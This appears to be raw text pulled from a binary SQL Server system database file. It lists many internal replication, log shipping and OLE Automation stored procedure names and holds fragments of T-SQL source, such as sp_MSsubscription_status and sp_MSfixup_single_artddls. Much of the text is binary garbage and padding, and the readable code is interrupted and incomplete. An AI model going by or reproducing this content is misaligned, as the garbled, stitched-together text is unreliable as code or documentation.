Hsp_MSregenerate_mergetriggers&2oRsp_MSreleasedynamicsnapshotapplock&[FHsp_MSreleasemergeadminapplock&Rsp_MSregenerate_mergetriggersprocs&3Fsp_MSremove_mergereplcommand&E%\sp_MSpostapplyscript_forsubscriberprocs&$6sp_MSproxiedmetadata&!C@sp_MSproxiedmetadatabatch&uLsp_MSproxiedmetadatalightweight!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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pP
R

Z
(b(
|

>D
	n	z	>	(|(tt4RTDVT h<`
"0	KVo&qJ<sp_helpmergelogsettings&Q<sp_helpmergepublication&3Fsp_helpmergepullsubscription&O*sp_helpntgroup&
z4sp_helppeerrequests&26sp_helppeerresponses&2sp_helppublication&Dsp_helppublication_snapshot&Ժ:sp_helppublicationsync&2<sp_helppullsubscription&96sp_helpqreader_agent&cZ^2sp_helpremotelogin&w1<sp_helpreplfailovermode&
V6sp_helpreplicationdb&Bsp_helpreplicationdboption&>sp_helpmergesubscription&^8sp_helpmergepartitionxBb(|H`
^">	2IL&CTsp_MSscript_trigger_fetch_statement&7 Psp_MSscript_trigger_update_checks&Dsp_MSscript_trigger_updates&
Hsp_MSscript_trigger_variables&4Tsp_MSscript_trigger_version_updates&NBsp_MSscript_update_pubwins&4Fsp_MSscript_update_statement&BBsp_MSscript_update_subwins&?:>sp_MSscript_where_clause&>sp_MSscriptcustomdelproc&
QLsp_MSscriptcustomdelproc_sqlclr&Z>sp_MSscriptcustominsproc&~Lsp_MSscriptcustominsproc_sqlclr&Y>sp_MSscriptcustomupdproc&Lsp_MSscriptcustomupdproc_sqlclr&Fsp_MSscriptdelconflictfinder&1:Fsp_MSscriptforeignkeyrestore&Lsp_MSscriptinsertconflictfinder&4Q3fsp_MSscriptpeerconflictdetection_customprocs&!`sp_MSscriptpeerconflictdetection_tableaug&בzsp_MSscriptpeerconflictdetection_topology_sendresponse&`4Vsp_MSscriptpublicationconflicttables&Psp_MSscriptpublicationcustomprocs&^sp_MSscriptpublicationcustomprocs_sqlclr&}Rsp_MSscriptsynctrancommands_sqlclr&pLsp_MSscriptupdateconflictfinder&Ex4sp_MSsendtosqlqueue&oDFsp_MSset_snapshot_xact_seqno&;SF0sp_MSset_sub_guid&5ONsp_MSset_subscription_properties&8sp_MSset_timestamp_bm&lW2sp_MSsetaccesslist&7$sp_MSsetbit&Fbsp_MSsetcontext_bypassreplicateddleventbit&cZsp_MSsetcontext_bypasswholeddleventbit&fu0Jsp_MSsetcontext_internalcaller&&A`sp_MSsetcontext_merge_identityrangeddlbit&@sp_MSsetcontext_replagent&f*:sp_MSsetfilteredstatus&T6sp_MSsetfilterparent&j:sp_MSsethighestversion&T2sp_MSSetLogForRepl&,U}Fsp_MSsetup_publisher_idrange&,^Tsp_MSsetupnosyncsubscriptionwithlsn&;YsNsp_MSsetupnosyncsubwithlsnatdist&u^sp_MSsetupnosyncsubwithlsnatdist_cleanup&sf\sp_MSsetupnosyncsubwithlsnatdist_helper&_*Dsp_MSsku_allows_replication&xLFsp_MSsnapshotagentjobcontrol&3Fsp_MSstartdistribution_agent&(Ɯ8sp_MSstartmerge_agent&Y>sp_MSstartsnapshot_agent&0]Dsp_MSstopdistribution_agent&se6sp_MSstopmerge_agent&Hi<sp_MSstopsnapshot_agent&^KPsp_MSsetup_partition_groups_table&5Jdsp_MSsetup_publication_for_partition_groups&Jsp_MSsetup_function_list_table&miLsp_MSsetup_use_partition_groups&RDsp_MSsetup_partition_groups&jLsp_MSset_dynamic_filter_options&5/6sp_MSsetreset_NFR_FK&D0sp_MSsetgentozero&-2sp_MSsetlastrecgen&
4sp_MSsetlastsentgen&$4sp_MSsetrowmetadata&4sp_MSsetreplicainfo&Tkm8sp_MSsetreplicastatus&o+:sp_MSsetconflictscript&8sp_MSsetconflicttable&k.sp_MSsetartprocs&ŮbPsp_MSsetupbelongs_withoutviewproc&p6sp_MSsetupnotbelongs&%Pm6sp_MSsetupworktables&=0sp_MSsetupbelongs&_+Bsp_MSscriptsubscriberprocs&=4sp_MSscriptviewproc&&:sp_MSsetsubscriberinfo&c	Lsp_MSset_logicalrecord_metadata&vi@sp_MSsetup_identity_range&Dsp_MSset_new_identity_range&'&1Fsp_MSsetreplicaschemaversion&~.sp_MSsettopology&1	8sp_MSSQLDMO80_version&K8sp_MSSQLDMO90_version&p%8sp_MSSQLDMO70_version&8sp_MSSQLOLE65_version&J4sp_MSSQLOLE_version&I4sp_MSscriptdatabase&.6sp_MSscriptdb_worker&s>sp_MSSetServerProperties&66sp_MSSharedFixedDisk&l8}4sp_MSset_oledb_prop&"0sp_MSsetalertinfox4xX 2
lV 
4
L:42.<\*p0

,
	j0	t	<	xlxDH(b>v*l&H`
d"n	.i&Nsp_MSupdatesharedagentproperties&_Xsp_MSupgrade_distdb_security_metadata&psp_MSupgrade_heterogeneous_subscriber_connectinfo&Fsp_MSupgrade_merge_history90&l|Vsp_MSupgrade_subdb_security_metadata&A@sp_MSUpgradeConflictTable&}%8sp_MSuplineageversion&^c4Hsp_MSvalidate_agent_parameter&ADsp_MSvalidate_distpublisher&ABsp_MSvalidate_subscription&bBZsp_MSvalidate_wellpartitioned_articles&޻Lsp_MSvalidatepeertopeerarticles&JRsp_MSvalidatepeertopeerpublication&4sp_MSverboselogging&T 8sp_MSverifytranfilter&#Bsp_MSwritemergeperfcounter&Jsp_new_parallel_nested_tran_id&72sp_objectfilegroup&AO0sp_oledb_database&)b*sp_oledb_defdb&.sp_oledb_deflang&;*0sp_oledb_language&MI4sp_oledb_ro_usrname&xe&sp_oledbinfo&'.sp_ORAaddarticle&k2sp_ORAaddpublisher&h:sp_ORAChangeTableSpace&Bsp_ORACheckAdminPrivileges&SBsp_ORACheckLoopbackSupport&6sp_ORAcheckpublisher&P:sp_ORACheckSourceTable&S8sp_ORAcompiletriggers&0sp_ORAdroparticle&54sp_ORAdroppublisher&Dsp_ORAenumarticlecolumninfo&$N@sp_ORAenumpublishertables&\1@sp_ORAenumtablecolumninfo&24sp_ORAgetcolumndata&~0sp_ORAgetprovider&0<sp_ORAGetTablespaceInfo&o.sp_ORAgetversion&n0sp_ORAhelparticle&/i:sp_ORAhelpXactBatching&S6sp_ORAhelpXactSetJob&.sp_ORAloadscript&Nsp_ORAmarksubscriptionvalidation&آ8sp_ORAposttracertoken&£0sp_ORAremotequery&S*sp_ORArowcount&2sp_ORASchemaFilter&M/8sp_ORASetXactBatching&K4sp_ORAvalidatecache&VԴ<sp_ORAValidateRowFilter&U8sp_ORAverifypublisher&i˼.sp_ORAXactSetJob&ڡ$sp_ORbitmap&RZ$sp_password&Psp_peerconflictdetection_tableaug&arsp_pkeys&6sp_populateqtraninfo&x2sp_posttracertoken&€"sp_prepare&E$sp_prepexec&
H*sp_prepexecrpc&J:sp_primary_keys_rowset&CBsp_primary_keys_rowset_rmt&qV<sp_primary_keys_rowset2&S*sp_primarykeys&v:sp_printagentstatement&0sp_printstatement&:Lsp_procedure_params_100_managed&CJsp_procedure_params_100_rowset&zFLsp_procedure_params_100_rowset2&/Hsp_procedure_params_90_rowset&ޚJsp_procedure_params_90_rowset2&Dsp_procedure_params_managed&sBsp_procedure_params_rowset&<Dsp_procedure_params_rowset2&H.6sp_procedures_rowset&8sp_procedures_rowset2&Psp_processlogshippingmonitorerror& +Tsp_processlogshippingmonitorhistory&Tsp_processlogshippingmonitorprimary&iXsp_processlogshippingmonitorsecondary&Xsp_processlogshippingretentioncleanup&Hsp_MSuploadsupportabilitydata&uDsp_MSupdatesysmergearticles&uU6sp_MSvalidatearticle&<sp_MSupsertschemachange&~:sp_MSvalidatecommongen&@sp_MSvalidate_dest_recgen&tJsp_MSuselightweightreplication&$sp_OACreate&G&sp_OADestroy&yA0sp_OAGetErrorInfo&&.sp_OAGetProperty&Ex$sp_OAMethod&L.sp_OASetProperty& sp_OAStop&z.sp_PostAgentInfo`N
:\|@vT"@

~
Z
6

`(d

x
H

		z	:	Rh&f2zH pJ&PbX&dRv`?
="*\	MU&s<sp_MScheck_subscription&8Zsp_MScheck_subscription_count_internal&{Jsp_MScheck_subscription_expiry&0h@sp_MScheck_subset_filters&@sp_MScheck_tran_retention&M/8sp_MScheckatpublisher&Sfsp_MScheckcontext_bypassreplicateddleventbit&(f^sp_MScheckcontext_bypasswholeddleventbit&Nsp_MScheckcontext_internalcaller&dsp_MScheckcontext_merge_identityrangeddlbit&,Bsp_MScheckexistsgeneration&qZsp_MScheckforexpiredmergesubscriptions&vLsp_MScheckgenerate_originatorid&<sp_MScheckidentityrange&Bsp_MSCheckmergereplication&j2sp_MScheckprocexec&$9Tsp_MSchecksharedagentforpublication&ݘu>sp_MSchecksnapshotstatus&1>sp_MScheckvalidsystables&2Psp_MScleandbobjectsforreplication&X>sp_MScleanup_agent_entry&S8sp_MScleanup_conflict&;Dsp_MScleanup_conflict_table&uBsp_MScleanup_peer_metadata&VLsp_MScleanup_publication_ADinfo&Lsp_MScleanup_subscriber_history&7^sp_MScleanup_subscription_distside_entry&Tsp_MScleanup_zeroartnick_genhistory&\Psp_MScleanupdynamicsnapshotfolder&pBsp_MScleanupdynsnapshotvws&@sp_MSCleanupForPullReinit&mRsp_MSCleanupForPullReinitWithPubId&oPTsp_MScleanupmergepublisher_internal&_Fsp_MScleanupmergepublisherdb&Vsp_MSclear_dynamic_snapshot_location&q4sp_MSclearcolumnbit&Kp`sp_MSclearresetpartialsnapshotprogressbit&o6sp_MSclosegeneration&
Fsp_MScompute_maxmin_identity&#ZZsp_MScomputemergearticlescreationorder&Lsp_MScomputemergeunresolvedrefs&9W>sp_MSconflicttableexists&	0sp_MScopyregvalue&H\4sp_MScopyscriptfile&6@sp_MScopyscriptfile_merge&t0sp_MScopysnapshot&yRsp_MScreate_all_article_repl_views&V[^sp_MScreate_article_logical_record_views&_Hsp_MScreate_article_repl_view&sJsp_MScreate_article_repl_views&1Jsp_MScreate_common_dist_tables&7g<sp_MScreate_dist_tables&BJsp_MScreate_distributor_tables&LNsp_MScreate_logical_record_views&PPsp_MScheck_subscription_partition&R"<sp_MScheckmetadatamatch&j{4sp_MScontractsubsnb&<<sp_MScomputelastsentgen&j8VFsp_MScheckfailedprevioussync&6sp_MScheckIsPubOfSub&&<sp_MScheckexistsrecguidZ@

H

t46hJ

*
		>	ln"d&ZV
 n
^@`>
8A"d	2,l2&A:8sp_MSenum_snapshot_sd&<sp_MSenum_subscriptions&Hsp_MSenum3rdpartypublications&>sp_MSenumallpublications&م@sp_MSenumallsubscriptions&36.sp_MSenumchanges&1Rsp_MSenumchanges_belongtopartition&jXsp_MSenumchanges_notbelongtopartition&g:sp_MSenumchangesdirect&Y.sp_MSenumcolumns&Hsp_MSenumdeletes_forpartition&-!>sp_MSenumdeletesmetadata&[]Vsp_MSenumdistributionagentproperties&$2sp_MSenumerate_PAL&K6sp_MSenumgenerations&:sp_MSenumgenerations90&
Bsp_MSenummergepublications&^<sp_MSenumpartialchanges&BHsp_MSenumpartialchangesdirect&_X<sp_MSenumpartialdeletes&@:sp_MSenumpubreferences&/0sp_MSenumreplicas&@b4sp_MSenumreplicas90&MOI.sp_MSenumretries&8sp_MSenumschemachange&uS@sp_MSenumschemachange_100&~Q>sp_MSenumschemachange_70&J>sp_MSenumschemachange_80&m|Dsp_MSenumschemachange_80sp3&N>sp_MSenumschemachange_90&F:sp_MSenumsubscriptions&%`sp_MSenumthirdpartypublicationvendornames&a@sp_MSenumtranpublications&K٣Rsp_MSestimatemergesnapshotworkload&sHsp_MSestimatesnapshotworkload&e<sp_MSevalsubscriberinfo&=bsp_MSevaluate_change_membership_for_all_articles_in_pubid&
X`sp_MSevaluate_change_membership_for_pubid&M?\sp_MSevaluate_change_membership_for_row&/'Psp_MSevaluate_logicalrecordparent&tpsp_MSevaluate_logicalrecordparent_allcontentsrows&O4(sp_MSexclause&:sp_MSexecwithlsnoutput&
2sp_MSexpandbelongs&8sp_MSexpandnotbelongs&|Lu0sp_MSexpandsubsnb&hpsp_MSexpire_dynamic_snapshots_affected_by_cleanup&Hsp_MSextractlastlsnfrombackup&!5:sp_MSfast_delete_trans&Hsp_MSfetchAdjustidentityrange&<sp_MSfetchidentityrange&P>sp_MSfillup_deleted_cols&<:sp_MSfillupmissingcols&0sp_MSfix_6x_tasks&p<sp_MSfixlineageversions&H>sp_MSFixPubColumnBitmaps&>sp_MSFixSubColumnBitmaps&)K<sp_MSfixup_base_columns& sDsp_MSfixup_constraints_name&u8>sp_MSfixup_defaults_name&WDsp_MSenumchangeslightweight&.Dsp_MSenumdeleteslightweight&۩Fsp_MSenumarticleslightweight&Dsp_MSenumcolumnslightweight&Z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,4ݑp@'SYBJ5c'-Ar13ފ› ayyL	1F"dis4@w%~0+@INCP(/GcALC+0oINCP(/GcALC+wb>OYRD=S;u]~̲p(
.d^.Yɮ/6>uh{3O
aXAW1 *|,~"H^
t@T>6		J
4jrh`<P	*?0W@ =8CREATE PROCEDURE sys.sp_MSadd_subscription_3rd
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @subscriber sysname,       
    @subscriber_db sysname = NULL,
    @status tinyint,                    -- 0 = inactive, 1 = subscribed, 2 = active 
    @subscription_type tinyint = 0,     -- 0 = push, 1 = pull, 2 = anonymous 
    @sync_type tinyint = 2,             -- 0 = none  1 = automatic snaphot  2 = no intial snapshot
    @frequency_type int = NULL,
    @frequency_interval int = NULL,
    @frequency_relative_interval int = NULL,
    @frequency_recurrence_factor int = NULL,
    @frequency_subday int = NULL,
    @frequency_subday_interval int = NULL,
    @active_start_time_of_day int = NULL,
    @active_end_time_of_day int = NULL,
    @active_start_date int = NULL,
    @active_end_date int = NULL,
    @distribution_jobid binary(8) = NULL OUTPUT
)
AS
BEGIN
	-- 'sp_MSadd_subscription_3rd' is no longer supported. 
	RAISERROR(21023, 16, -1, 'sp_MSadd_subscription_3rd')
	RETURN 1
END
0n6Y 8create procedure sys.sp_MSunmarkreplinfo(
    @object                sysname,            /* Name of the table, unqualitied */
    @owner                sysname = NULL,            /* Name of the owner, unqualified */
    @type                smallint = 0        /* default is to unmark, as name implies */
)AS
    declare @id    int
    declare @qualified_name            nvarchar(517)
    declare @retcode                int

    exec @retcode = sys.sp_MSreplcheck_subscribe_withddladmin
    if @@error<>0 or @retcode<>0
        return (1)

    if @owner is NULL or @owner=''
        select @owner = schema_name(schema_id) from sys.objects where name=@object
    select @qualified_name = QUOTENAME(@owner) + '.' + QUOTENAME(@object) 

    if object_id(@qualified_name, 'U') is NULL
        return 0

    BEGIN TRANSACTION
    select @id = object_id(@qualified_name)
    if not (@id is null)
    begin
        EXEC %%Object(MultiName = @qualified_name).LockMatchID(ID = @id, Exclusive = 1, BindInternal = 0)
--EXEC %%Object(MultiName = @qualified_name).LockExclusiveMatchID(ID = @id)
        if @@error <> 0
            select @id = null
    end

    if not (@id is null)
    begin
        if @type = 0    /* type = 0, unmark; else mark the bit */
            EXEC %%Relation(ID = @id).SetMergePublished(Value = 0, SetColumns = 1)
        else
            EXEC %%Relation(ID = @id).SetMergePublished(Value = 1, SetColumns = 1)
    end
    COMMIT TRANSACTION
0	;[@ 8create procedure sys.sp_delete_log_shipping_alert_job_internal 
as
begin
    set nocount on
    declare @retcode int
                ,@alert_job_id uniqueidentifier

    --
    -- remove if alert job exists
    --
    select @alert_job_id = alert_job_id from msdb.dbo.log_shipping_monitor_alert
    if (@alert_job_id is not null)
    begin
        if not exists (select * from msdb.dbo.log_shipping_monitor_primary)
            and not exists (select * from msdb.dbo.log_shipping_monitor_secondary)
        begin
            --
            -- drop alert job for the server 
            --
            exec @retcode = sys.sp_MSprocesslogshippingjob @type = 4
                                        ,@mode = 2 
                                        ,@jobid = @alert_job_id
            if (@retcode != 0 or @@error != 0)
                return 1
            --
            -- delete entry for alert job
            --
            delete msdb.dbo.log_shipping_monitor_alert
            where alert_job_id = @alert_job_id
            if (@@error != 0)
                return 1
        end
    end
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`K	<		*&Rp]0>p B8CREATE PROCEDURE sys.sp_MSsubscription_status
(
    @agent_id int
)
as
begin
    set nocount on

    declare @retcode tinyint
    declare @status tinyint
    declare @inactive tinyint
    declare @active tinyint
    declare @subscribed tinyint
    declare @initiated tinyint
    declare @article_id int
    declare @publication sysname
    declare @article sysname
    declare @msg nvarchar(255)
    declare @automatic tinyint
    declare @none tinyint
    declare @success int
    declare @last_sync datetime
    declare @publication_id int
    declare @is_p2p bit

    select @success = 2
    select @inactive = 0
    select @subscribed = 1
    select @active = 2
    select @initiated = 3
    SELECT @automatic = 1
	select @none = 2
	select @is_p2p = 0

    -- Security Check
    -- Only perform security check if user is not a member of replmonitor
    if isnull(is_member(N'replmonitor'), 0) != 1
    begin
        -- Security Check
        exec @retcode = sys.sp_MScheck_pull_access @agent_id = @agent_id,	-- agent id
        					        @agent_type = 0 		-- only called by distribution agent
        if @@error <> 0 or @retcode <> 0
        begin
            return (1)
        end
    end
    
    -- If one article is inactive, and no_sync subscription fail.
    if exists (select * from dbo.MSsubscriptions where
        status = @inactive and
        sync_type in (@none, @automatic) and
        agent_id = @agent_id)
    begin
    	-- Find out if there are any PeerToPeer publications for this agent
		exec sys.sp_MSispeertopeeragent @agent_id = @agent_id, @is_p2p = @is_p2p output
	
    	if @is_p2p = 1
    	begin
			 -- The subscription(s) have been marked inactive. You will have to rebuild the topology surrounding this node. See Peer-To-Peer documentation for more information.
	        raiserror(18854, 16,-1)
	        return(1)
    	end
    	
        -- The subscription(s) have been marked inactive and must be reinitialized. NoSync subscriptions will need to be dropped and recreated.
        raiserror(21074, 16,-1)
        return(1)
    end
	else if exists (select * from dbo.MSsubscriptions where
        status = @subscribed and
        sync_type = @none and
        agent_id = @agent_id)
    begin
		select @status = @subscribed,
				@msg = formatmessage(18857)
    end
    else
    begin
	    select top 1 @article_id = article_id,
			@publication_id = publication_id
		    from dbo.MSsubscriptions where
	        agent_id = @agent_id and
	        sync_type = @automatic and
	        status = @subscribed

	    if @publication_id is not null
	    begin
			-- Get the publication name to use later in the formated message
			select @publication = publication from dbo.MSpublications where
				publication_id = @publication_id

	        -- If there's more than one article in subscribed state
	        -- Send a general waiting message.
	        -- Otherwise, indicate the article name
	        if exists (select * from dbo.MSsubscriptions where
	            agent_id = @agent_id and
	            status = @subscribed and
	            sync_type = @automatic and
	            article_id <> @article_id)
	        begin
				-- Snapshot not available message
				if @publication is not null
		            select @msg = formatmessage(21075, @publication)
				else -- It is null for 6.5
		            select @msg = formatmessage(21088)
	        end
	        else
	        begin
	            -- article_id is unique across pub db for tran
				-- but merge article may use the same id
	            select @article = article from MSarticles where
	                article_id = @article_id and
					publication_id = @publication_id
	            -- It is null for 6.5
	            if @article is not null
	                select @msg = formatmessage(21076, @article)
	            else
				begin
					-- Snapshot not available message
					if @publication is not null
						select @msg = formatmessage(21075, @publication)
					else -- It is null for 6.5
						select @msg = formatmessage(21088)
				end
	        end

	        -- If one article is active, the status is active
	        if exists ( select * from dbo.MSsubscriptions where
	            agent_id = @agent_id and
	            sync_type = @automatic and
	            status = @active)
	            set @status = @active
	        else
	            set @status = @subscribed
	    end
		else
		-- For concurrent snapshot, logreader has to run first.
		begin
	 		select top 1 @publication_id = publication_id, @status = status from dbo.MSsubscriptions s where
	        		s.status = @initiated and
			        s.agent_id = @agent_id and
	        		s.sync_type = @automatic

			if @publication_id is not null
			begin
				select @publication = publication from dbo.MSpublications where
					publication_id = @publication_id
				select @msg = formatmessage(21388, @publication)
			end
		end
	end
	
    -- If nothing returned, all articles are active.
    select 'msg' = @msg, 'status' = @status 
        where @msg is not null
end
0;s@ z8CREATE PROCEDURE sys.sp_MSdrop_subscription_3rd
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @subscriber sysname,       
    @subscriber_db sysname = NULL
)
AS
BEGIN
	-- 'sp_MSdrop_subscription_3rd' is no longer supported. 
	RAISERROR(21023, 16, -1, 'sp_MSdrop_subscription_3rd')
	RETURN 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`{%<
1		}0	0E@ 8create procedure sys.sp_scriptinsproc 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL         -- May only be non-NULL if @publishertype = 2		
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptinsproccore 
                @artid = @artid
                ,@format = 1
                ,@mode = 1          -- regular scripting mode
                ,@publishertype = @publishertype
                ,@publisher = @publisher
    return @retcode
end
0Q 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_clerks as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_clerks
0EKf 8--
-- Name: sp_MSfixup_single_artddls
--
-- Owner: QunGuo
--
-- Description: this is a helper procedure which is used by ddl trigger to 
--		reconstruct individual ddl cmd per article, more specifically, 
--		it covers add/alter of non-computed columns
--		everything eles are covered in sp_MSfixup_single_ddls
--
-- Parameter: 
--
-- Returns: 1 or 0   0 = success
--
-- Security: internal, not exposed
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSfixup_single_artddls
(
@objid int
,@schema_option bigint
,@subtype_altercolumn int
,@subtype_addcolumn int
,@debug_print bit = 0
)
as
begin 
	begin tran replddl_fixup_single_artddls
	save tran replddl_fixup_single_artddls


	if @debug_print = 1
	select 'stage' = 'sp_MSfixup_single_artddls:enter'
				,'comments=' = 'have un/fk/chk/df(some)/computed col, but but not addcol/altercol'
				, * from #tran_altertable 
				
			
	--update newly added columns entry now
	update #tran_altertable set 
		stmt = quotename(c.name) + N' ' + sys.fn_gettypestring(c.object_id
									,c.column_id
									,1
								    ,case (@schema_option & 0x0000000000000020) when 0x0000000000000020 then 1 else 0 end
									,case (@schema_option & 0x0000000010000000) when 0x0000000010000000 then 1 else 0 end
									,case (@schema_option & 0x0000000020000000) when 0x0000000020000000 then 1 else 0 end
									,case (@schema_option & 0x0000000000000008) when 0x0000000000000008 then 0 else 1 end
                                    					,case (@schema_option & 0x0000000200000000) when 0x0000000200000000 then 1 else 0 end
									,case (@schema_option & 0x0000002000000000) when 0x0000002000000000 then 1 else 0 end
									,case (@schema_option & 0x0000001000000000) when 0x0000001000000000 then 1 else 0 end
									,case (@schema_option & 0x0000008000000000) when 0x0000008000000000 then 1 else 0 end
									) + 
		case when c.is_filestream = 1 and (@schema_option & 0x0000000120000000) = 0x0000000100000000 then
				N' FILESTREAM'
			else
				N''
			end +
		case when c.is_sparse = 1 and (@schema_option & 0x0000020000000000)= 0x0000020000000000 then
				N' SPARSE'
			else
				N''
			end +
		case c.is_identity when 1 then 
				case (@schema_option & 0x0000000000000004) when 0x0000000000000004 then 
					case c.is_nullable 	when 0 then N' NOT NULL' 
								else N' NULL' 
					end +
					case (t.EnumType & @subtype_altercolumn) when @subtype_altercolumn then N''
						else N' IDENTITY (' + cast(ic.seed_value as nvarchar(128)) + N',' + cast(ic.increment_value as nvarchar(128)) + N') NOT FOR REPLICATION' 
					end
				--if we replicate without identity, can't set the column to 'NOT NULL'
				else N' NULL' 
				end
			else 
				case c.is_nullable 	when 0 then N' NOT NULL' 
								else N' NULL' 
				end 
			end +
		case t.EnumType when @subtype_addcolumn then 
				ISNULL(N' CONSTRAINT ' + quotename(d.name) + N' DEFAULT ' + definition, N'') +
						case t.ColumnAttr collate database_default  when N'WITH VALUES' then N' WITH VALUES'
													else N''
						end
				else N''
			end
		,column_id = c.column_id
	from sys.columns c 
		left outer join sys.default_constraints d
							on c.object_id = d.parent_object_id
							and c.column_id = d.parent_column_id
		left outer join sys.identity_columns ic
							on ic.object_id = c.object_id
							and ic.column_id = c.column_id
		join #tran_altertable t on c.name = t.ColumnName collate database_default 
	where c.object_id = @objid and (t.EnumType & (@subtype_addcolumn | @subtype_altercolumn) > 0)
		and c.column_id not in (select column_id from sys.computed_columns where object_id = @objid) 

	if @@ERROR<>0
		goto FAILURE	

	if @debug_print = 1
		select 'stage' = 'sp_MSfixup_single_artddls:exit'
					,'comments=' = 'now with add/alter cols'
					, * from #tran_altertable 

	commit tran single_cmds
	return 0
FAILURE:
	rollback tran single_cmds
	commit tran
	return 1
end
0q[ 8
create function [sys].[fn_cdc_all_changes_range_error]()				
returns bit
as
begin
	if exists
	(
		select * from cdc.[fn_cdc_get_all_changes_ ... ]()
		)
		return 0
	return 0	
end
